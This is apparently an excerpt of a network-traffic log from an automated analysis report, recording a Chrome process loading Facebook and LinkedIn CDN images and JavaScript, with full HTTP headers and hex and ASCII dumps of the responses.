2c Data Ascii: ,"reply_comment_id":{"legacyNames":[],"default":null,"path":false,"significant":false,"coercibleType":"FBID"},"badge_type":{"legacyNames":[],"default":"NEW_MEMBER","path":false,"significant":true,"coercibleType":"ENUM"}},"routePath":"/{vanity}/{sk}/"}]}},

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49951	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:33 UTC	826	OUT	GET /v/t1.6435-1/190346650_265045761687051_1168810863429260278_n.jpg?stp=dst-jpg_p200x200&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=SHu8gWgWGu0Ab55t1XH&_nc_ht=scontent-lga3-2.xx&oh=00_AfDmv0qW8U6qLukndvPVMqWe13O3GhEBaFBMn4aN1Iv2Eg&oe=663FD48A HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	659	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 24 May 2021 10:49:18 GMT X-Needle-Checksum: 2752207477 thrift_fmhk: GBDzLHGSJOnHeC5WRMObgo41FfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=2333275356 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 5810
2024-04-11 20:35:33 UTC	1	IN	Data Raw: ff Data Ascii:
2024-04-11 20:35:33 UTC	5809	IN	Data Raw: d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 9c 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 80 1c 02 67 00 14 55 63 55 47 31 66 49 39 50 57 7a 41 46 65 57 37 4b 62 4d 2d 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 38 39 30 31 30 30 30 30 62 64 30 33 30 30 30 30 38 32 30 36 30 30 30 30 63 32 30 37 30 30 30 30 38 38 30 38 30 30 30 30 30 63 30 63 30 30 30 30 35 61 30 66 30 30 30 30 31 32 31 30 30 30 30 30 31 39 31 31 30 30 30 30 64 38 31 31 30 30 30 30 62 32 31 36 30 30 30 30 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a Data Ascii: JFIFPhotoshop 3.08BIMgUcUG1fI9PWzAFeW7KbM-(bFBMD0a000a89010000bd03000082060000c2070000880800000c0c00005a0f00001210000019110000d8110000b2160000C%# , #&')*)-0-(0%()(C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49916	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:33 UTC	632	OUT	GET /hads-ak-prn2/1487645_6012475414660_1439393861_n.png HTTP/1.1 Host: scontent.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:33 UTC	416	IN	HTTP/1.1 200 OK Content-Type: image/png Last-Modified: Fri, 21 Dec 2012 00:00:01 GMT Expires: Thu, 11 Apr 2024 20:35:33 GMT cross-origin-resource-policy: cross-origin Server: proxygen-bolt Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 79
2024-04-11 20:35:33 UTC	1	IN	Data Raw: 89 Data Ascii:
2024-04-11 20:35:33 UTC	78	IN	Data Raw: 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 0a 08 02 00 00 00 02 50 58 ea 00 00 00 16 49 44 41 54 18 57 63 fc cf 80 0f 30 61 0a 21 83 91 29 cd c0 00 00 41 2c 01 13 80 ff 5a 6c 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRPXIDATWc0a!)A,ZlIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49952	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:33 UTC	828	OUT	GET /v/t1.6435-1/190346650_265045761687051_1168810863429260278_n.jpg?stp=cp0_dst-jpg_p40x40&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=SHu8gWgWGu0Ab55t1XH&_nc_ht=scontent-lga3-2.xx&oh=00_AfCTsmSUVzRPKuwIBc-TQDOj3Px-U7icvrT5-QjEwVmb3A&oe=663FD48A HTTP/1.1 Host: scontent-lga3-2.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	785	IN	HTTP/1.1 200 OK x-storage-error-category: dfs:none;sc_p:200:WSE_NOT_SET Last-Modified: Mon, 24 May 2021 10:49:18 GMT X-Needle-Checksum: 2752207477 thrift_fmhk: GBDNQuHCtMpqWsWJJbPuNXY3FfDr4Z0EvFUAAAA= Content-Type: image/jpeg content-digest: adler32=2832170936 cross-origin-resource-policy: cross-origin timing-allow-origin: * Access-Control-Allow-Origin: * Cache-Control: max-age=1209600, no-transform Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:33 GMT X-FB-Edge-Debug: SNhUFEHzAUEdGoLlsyPyICoBHwTcj5jVdqK2u-xriFDbe68x7YJB3W-HsT_1dZqubb_7DnZZ7PPlCTTS9eqQpSegcKypLiVENPU3wLu3UVU X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=14, mss=1277, tbw=3413, tp=-1, tpl=-1, uplat=59, ullat=0 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 1289
2024-04-11 20:35:34 UTC	715	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff ed 00 9c 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 80 1c 02 67 00 14 55 63 55 47 31 66 49 39 50 57 7a 41 46 65 57 37 4b 62 4d 2d 1c 02 28 00 62 46 42 4d 44 30 61 30 30 30 61 38 35 30 31 30 30 30 30 64 61 30 31 30 30 30 30 33 64 30 32 30 30 30 30 37 35 30 32 30 30 30 30 61 66 30 32 30 30 30 30 35 39 30 33 30 30 30 30 63 38 30 33 30 30 30 30 66 61 30 33 30 30 30 30 33 36 30 34 30 30 30 30 36 64 30 34 30 30 30 30 30 39 30 35 30 30 30 30 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 Data Ascii: JFIFPhotoshop 3.08BIMgUcUG1fI9PWzAFeW7KbM-(bFBMD0a000a85010000da0100003d02000075020000af02000059030000c8030000fa030000360400006d04000009050000C%# , #&')*)-0-(0%()(C
2024-04-11 20:35:34 UTC	574	IN	Data Raw: 23 ce 78 89 24 1d b8 e4 3f 66 f5 d3 5f 6b 71 73 fb 52 3c 24 31 7f 50 bb ef 9c cf f2 e4 ff 00 66 95 5e c4 81 f3 8e bb 42 ff 00 c2 5b 39 70 f2 41 34 8a 17 5b e8 f0 2b 44 38 4c 44 dc 03 f1 6f 07 ee a2 89 b0 92 8d 67 8b 13 c7 d2 f9 bc 82 28 e4 56 8c 28 d4 e5 6c 6b 56 33 b8 04 4a b7 0c 46 f5 0b 48 22 58 61 62 ca 41 dc ed 97 ff c4 00 21 10 01 00 01 03 03 05 01 00 00 00 00 00 00 00 00 00 01 11 00 21 31 10 41 51 61 71 81 c1 e1 f0 ff da 00 08 01 01 00 01 3f 21 a9 d0 39 dd 9c 6f c5 23 3a 16 07 3c 3c 51 0e 76 14 83 9d e8 b9 a4 c1 2c 2f 22 b0 34 6e ad c1 f4 fc a3 cc f0 e9 43 78 3f 5a b0 69 8b c4 bc 83 1e a9 86 89 2a 2a ee e2 96 27 e8 f8 28 b9 a1 cb bd a1 97 39 e9 4c 09 19 7d a3 34 97 b8 49 74 f7 36 d7 7d 7f 16 57 b6 69 8a 09 1f 29 99 6d 14 8a 0c 1a 6c 01 1d 3f ff da Data Ascii: #x$?f_kqsR<$1Pf^B[9pA4[+D8LDog(V(lkV3JFH"XabA!!1AQaq?!9o#:<<Qv,/"4nCx?Zi**'(9L}4It6}Wi)ml?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49953	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	599	OUT	GET /rsrc.php/v3/ye/r/8YRrA8ys0pS.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1702	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: OZ+hYf4+F0DLAxNrc8ggAA== Expires: Fri, 11 Apr 2025 20:12:03 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: Fl+2RR2i6pCh34bpssGvl2HEy5Lg4CJ6yuyV1Sm6kEFYG6ZnParkAVJEeqilbPXM7fGxtvU3n1HAINdh8EZAkA== Date: Thu, 11 Apr 2024 20:35:34 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=87, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 13582
2024-04-11 20:35:34 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:34 UTC	13581	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 62 6f 75 74 41 70 70 53 65 63 74 69 6f 6e 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 22 38 32 32 34 39 32 33 33 39 34 32 30 31 31 37 36 22 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 62 6f 75 74 41 70 70 53 65 63 74 69 6f 6e 51 75 65 72 79 24 50 61 72 61 6d 65 74 65 72 73 22 2c 5b 22 43 6f 6d 65 74 55 46 49 52 65 61 63 74 69 6f 6e 73 45 6e 61 62 6c 65 53 68 6f 72 74 4e 61 6d 65 2e 72 65 6c 61 79 70 72 6f 76 69 64 65 72 22 2c 22 50 72 6f 66 69 6c 65 43 6f 6d Data Ascii: /FB_PKG_DELIM/__d("ProfileCometAboutAppSectionQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="8224923394201176"}),null);__d("ProfileCometAboutAppSectionQuery$Parameters",["CometUFIReactionsEnableShortName.relayprovider","ProfileCom

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49954	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	610	OUT	GET /rsrc.php/v3imd04/yI/l/en_US/CU99zAcu0qP.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1701	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: R41YrBbupvRBO5cpzZFdkg== Expires: Fri, 11 Apr 2025 20:12:03 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} origin-agent-cluster: ?0 X-FB-Debug: F5TjNAVtIXIpO8V+pFQ3Ylrv5K6m5r7Seotz7ExFuymxSDujwImH/BjX1kSfccrQ2OmrQKIQqDsdGLEeMfVDLw== Date: Thu, 11 Apr 2024 20:35:34 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=87, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=1, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 6441
2024-04-11 20:35:34 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:34 UTC	6440	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 43 6f 6d 65 74 50 68 6f 74 6f 50 65 72 6d 61 6c 69 6e 6b 52 6f 6f 74 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 22 36 39 35 30 39 38 37 32 35 38 33 34 30 36 31 39 22 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 50 68 6f 74 6f 50 65 72 6d 61 6c 69 6e 6b 52 6f 6f 74 51 75 65 72 79 24 50 61 72 61 6d 65 74 65 72 73 22 2c 5b 22 43 6f 6d 65 74 50 68 6f 74 6f 50 65 72 6d 61 6c 69 6e 6b 52 6f 6f 74 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 2c 22 43 6f 6d 65 74 55 46 49 52 65 61 63 74 Data Ascii: /FB_PKG_DELIM/__d("CometPhotoPermalinkRootQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="6950987258340619"}),null);__d("CometPhotoPermalinkRootQuery$Parameters",["CometPhotoPermalinkRootQuery_facebookRelayOperation","CometUFIReact

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49956	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:34 UTC	554	OUT	GET /aero-v1/sc/h/6y2czwba46q3wsh2b0d0g6trj HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:34 UTC	1071	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307086 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: text/javascript Date: Thu, 11 Apr 2024 20:35:34 GMT Expires: Thu, 18 Apr 2024 20:35:34 GMT Last-Modified: Fri, 14 Oct 2022 07:00:01 GMT Server: ECAcc (nyd/D168) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 186380 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=7.514687E-4; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 000615909919bad532b85aad8be6f89c X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJkZutUyuFqti+b4nA== Content-Length: 186380 Connection: close
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 67 73 69 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 67 73 69 7c 7c 7b 7d 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 6c 3d 74 68 69 73 3b 74 72 79 7b 76 61 72 20 49 61 2c 55 2c 75 2c 70 2c 4a 61 2c 4b 61 3b 49 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 63 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 63 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 63 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 3b 55 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e Data Ascii: this.default_gsi=this.default_gsi\|\|{};(function(b){var l=this;try{var Ia,U,u,p,Ja,Ka;Ia=function(a){var c=0;return function(){return c<a.length?{done:!1,value:a[c++]}:{done:!0}}};U="function"==typeof Object.defineProperties?Object.defineProperty:function
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 72 28 76 61 72 20 62 3d 61 2e 6c 65 6e 67 74 68 2c 65 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 61 3f 61 2e 73 70 6c 69 74 28 22 22 29 3a 61 2c 66 3d 30 3b 66 3c 62 3b 66 2b 2b 29 69 66 28 66 20 69 6e 20 65 26 26 21 63 2e 63 61 6c 6c 28 76 6f 69 64 20 30 2c 65 5b 66 5d 2c 66 2c 61 29 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 3b 76 61 72 20 53 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 53 61 5b 22 20 22 5d 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 53 61 5b 22 20 22 5d 3d 62 2e 52 61 3b 76 61 72 20 54 61 3b 62 2e 64 62 3d 62 2e 76 28 22 4f 70 65 72 61 22 29 3b 62 2e 65 62 3d 62 2e 76 28 22 54 72 69 64 65 6e 74 22 29 7c 7c 62 2e 76 28 22 4d 53 49 45 22 29 3b 62 2e 66 62 3d 62 2e 76 28 22 45 64 67 65 22 29 3b 62 2e 67 62 3d 62 2e Data Ascii: r(var b=a.length,e="string"===typeof a?a.split(""):a,f=0;f<b;f++)if(f in e&&!c.call(void 0,e[f],f,a))return!1;return!0};var Sa=function(a){Sa[" "](a);return a};Sa[" "]=b.Ra;var Ta;b.db=b.v("Opera");b.eb=b.v("Trident")\|\|b.v("MSIE");b.fb=b.v("Edge");b.gb=b.
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 76 61 28 29 3f 28 63 3d 2f 28 3f 3a 69 50 68 6f 6e 65 7c 69 50 6f 64 7c 69 50 61 64 7c 43 50 55 29 5c 73 2b 4f 53 5c 73 2b 28 5c 53 2b 29 2f 2c 63 3d 28 61 3d 63 2e 65 78 65 63 28 61 29 29 26 26 61 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5f 2f 67 2c 22 2e 22 29 29 3a 62 2e 76 28 22 4d 61 63 69 6e 74 6f 73 68 22 29 3f 28 63 3d 2f 4d 61 63 20 4f 53 20 58 20 28 5b 30 2d 39 5f 2e 5d 2b 29 2f 2c 63 3d 28 61 3d 63 2e 65 78 65 63 28 61 29 29 3f 61 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5f 2f 67 2c 22 2e 22 29 3a 22 31 30 22 29 3a 2d 31 21 3d 62 2e 71 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 69 6e 64 65 78 4f 66 28 22 6b 61 69 6f 73 22 29 3f 28 63 3d 2f 28 3f 3a 4b 61 69 4f 53 29 5c 2f 28 5c 53 2b 29 2f 69 2c 63 3d 28 61 3d 63 2e 65 78 65 63 28 61 29 29 26 Data Ascii: va()?(c=/(?:iPhone\|iPod\|iPad\|CPU)\s+OS\s+(\S+)/,c=(a=c.exec(a))&&a[1].replace(/_/g,".")):b.v("Macintosh")?(c=/Mac OS X ([0-9_.]+)/,c=(a=c.exec(a))?a[1].replace(/_/g,"."):"10"):-1!=b.qa.toLowerCase().indexOf("kaios")?(c=/(?:KaiOS)\/(\S+)/i,c=(a=c.exec(a))&
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 75 72 6e 28 61 3d 6d 62 28 61 29 29 3f 6e 65 77 20 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 61 29 3a 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 3b 70 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 61 29 64 26 26 28 61 3d 28 30 2c 62 2e 6c 65 29 28 61 2c 64 29 29 3b 65 6c 73 65 20 69 66 28 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 2e 68 61 6e 64 6c 65 45 76 65 6e 74 29 61 3d 28 30 2c 62 2e 6c 65 29 28 61 2e 68 61 6e 64 6c 65 45 76 65 6e 74 2c 61 29 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 22 47 22 29 3b 72 65 74 75 72 6e 20 32 31 34 37 34 38 33 36 34 37 3c 4e 75 6d 62 65 72 28 63 29 3f 2d 31 3a 62 2e 41 2e 73 65 74 54 69 6d 65 Data Ascii: urn(a=mb(a))?new ActiveXObject(a):new XMLHttpRequest};pb=function(a,c,d){if("function"===typeof a)d&&(a=(0,b.le)(a,d));else if(a&&"function"==typeof a.handleEvent)a=(0,b.le)(a.handleEvent,a);else throw Error("G");return 2147483647<Number(c)?-1:b.A.setTime
2024-04-11 20:35:34 UTC	16383	IN	Data Raw: 72 6e 20 61 2e 64 61 74 61 73 65 74 3b 76 61 72 20 63 3d 7b 7d 3b 61 3d 61 2e 61 74 74 72 69 62 75 74 65 73 3b 66 6f 72 28 76 61 72 20 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 64 29 7b 76 61 72 20 65 3d 61 5b 64 5d 3b 69 66 28 30 3d 3d 65 2e 6e 61 6d 65 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 22 2c 30 29 29 7b 76 61 72 20 66 3d 62 2e 52 6c 28 65 2e 6e 61 6d 65 2e 73 75 62 73 74 72 28 35 29 29 3b 63 5b 66 5d 3d 65 2e 76 61 6c 75 65 7d 7d 72 65 74 75 72 6e 20 63 7d 7d 63 61 74 63 68 28 6a 65 29 7b 62 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 6a 65 29 7d 74 72 79 7b 62 2e 56 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 29 7b 63 2e 73 65 6e 74 69 6e 65 6c 3d 22 6f 6e 65 74 61 70 5f 67 6f 6f 67 6c 65 22 3b 62 2e 77 28 22 4d Data Ascii: rn a.dataset;var c={};a=a.attributes;for(var d=0;d<a.length;++d){var e=a[d];if(0==e.name.lastIndexOf("data-",0)){var f=b.Rl(e.name.substr(5));c[f]=e.value}}return 